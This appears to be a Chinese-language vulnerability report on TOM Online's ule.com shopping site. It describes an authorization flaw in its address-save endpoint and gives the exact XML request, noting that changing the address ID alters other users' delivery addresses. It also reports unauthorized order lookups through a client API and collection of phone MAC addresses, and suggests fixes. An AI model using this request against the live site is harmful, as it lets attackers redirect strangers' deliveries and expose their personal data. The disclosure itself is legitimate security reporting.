上次提交了邮乐站的 漏洞 ，TOM给我寄来了邮乐卡，高兴中，于是我屁颠屁颠跑去邮乐站购物，于是发现...
详细说明：www.ule.com订单查看中已有权限控制，不能越权查看其他用户订单。
但在收货地址修改的时候未进行权限控制，可修改其他用户收货地址
http://my.ule.com/usr/addressSave.do
<param><usrName><![CDATA[test]]></usrName><province><![CDATA[2]]></province><city><![CDATA[18]]></city><area><![CDATA[109]]></area><usrAddress><![CDATA[test]]></usrAddress><postalCode><![CDATA[100000]]></postalCode><address><![CDATA[1136751]]></address><phoneNumber><![CDATA[13500000000]]></phoneNumber><preferred><![CDATA[true]]></preferred></param>
把<address><![CDATA[1136751]]></address> 中的ID修改即可
后面看到有客户端软件[邮乐网], 下载 安装后，查看订单处可越权操作。
http://service.ule.tom.com/api/order/getOrderInfo.do
为了信息看得全一点，我把返回信息复制出来:
这里我想问一下，为什么把手机MAC地址也拿走了？
修复方案： 权限控制，不允许获取用户的手机MAC地址等敏感信息。
查看更多关于TOM在线邮乐站购物权限控制不严及修复方案 - 网的详细内容...